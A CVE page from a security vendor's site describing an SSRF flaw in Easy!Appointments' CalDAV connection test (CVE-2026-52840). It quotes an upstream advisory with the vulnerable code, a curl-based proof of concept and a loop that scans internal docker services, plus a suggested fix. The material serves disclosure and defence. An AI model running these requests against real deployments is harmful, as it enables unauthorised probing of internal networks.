HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 52840 easyappointments has server side request forgery
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
33% to 38% lower spend across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Low · CVSS 2.7CVE-2026-52840GHSA-PM5P-7W5H-JM5Q

Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal networkCVE-2026-52840

Answer in brief

CVE-2026-52840 records a Low severity (CVSS 2.7) vulnerability in Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network. The current sources do not mark it as known exploited. The current feed maps alextselegidis/easyappointments (composer), alextselegidis/easyappointments (composer). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 14, 2026Updated Nov 10, 2026Source checked Nov 10, 2026First seen by HOL Jul 15, 2026Material review Nov 10, 2026
Upstream Advisory

Key facts

Risk
Low · CVSS 2.7
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 2.7. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps alextselegidis/easyappointments (composer), alextselegidis/easyappointments (composer). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
alextselegidis/easyappointmentscomposer<=1.5.21.6.1
alextselegidis/easyappointmentscomposer<=1.5.21.6.1

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for alextselegidis/easyappointments, alextselegidis/easyappointments.
  2. 2Review the reported fix. Update alextselegidis/easyappointments to 1.6.1; alextselegidis/easyappointments to 1.6.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 14, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. ### Preconditions - Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row. - Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`. ### Details ```php // application/controllers/Caldav.php:45-82 public function connect_to_server(): void { try { $provider_id = request('provider_id'); $user_id = session('user_id'); if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) { throw new RuntimeException('You do not have the required permissions for this task.'); } $caldav_url = request('caldav_url'); // (*) attacker-controlled $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink ... } catch (GuzzleException | InvalidArgumentException $e) { json_response([ 'success' => false, 'message' => $e->getMessage(), // (*) upstream body reflected ]); } } ``` The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass. When Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network. ### Proof of concept **Setup** 1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack: ```bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done ``` 2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`): ```bash docker compose exec -T php-fpm php index.php console install ``` 3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory: ```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email][email protected]' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ``` 4. Log in as the attacker into a dedicated cookie jar: ```bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null ``` **Exploit** 1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row: ```bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://nginx/some/404/path" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" ``` Observed (verified on a fresh `docker compose up`): `{"success":false,"message":"Client error: \`REPORT http:\/\/nginx\/some\/404\/path\/\` resulted in a \`404 Not Found\` response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n height: 100%;\n\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON. 2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim: ```bash for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) printf '\n=== %s ===\n' "$target" curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://$target/" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" done ``` Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \`REPORT http://swagger-ui:8080/\` resulted in a \`405 Not Allowed\` response: <html>\r\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{"success":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist. ### Impact - **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network. - **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents. ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client. ```diff $caldav_url = request('caldav_url'); + + $scheme = parse_url($caldav_url, PHP_URL_SCHEME); + $host = parse_url($caldav_url, PHP_URL_HOST) ?: ''; + $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host); + + if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host + || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + throw new InvalidArgumentException('CalDAV URL is not allowed.'); + } + $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); ``` ### Credit Dredsen, 2026.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • NocoBase: SSRF in customRequests:send via runtime options.url overrideAlso CWE-918

Record context

Vulnerability class
SSRF
EPSS
Not reported
CWE IDs
CWE-918
Source
GitHub Security Advisories
Source checked
Nov 10, 2026
References
8 linked sources
Open source record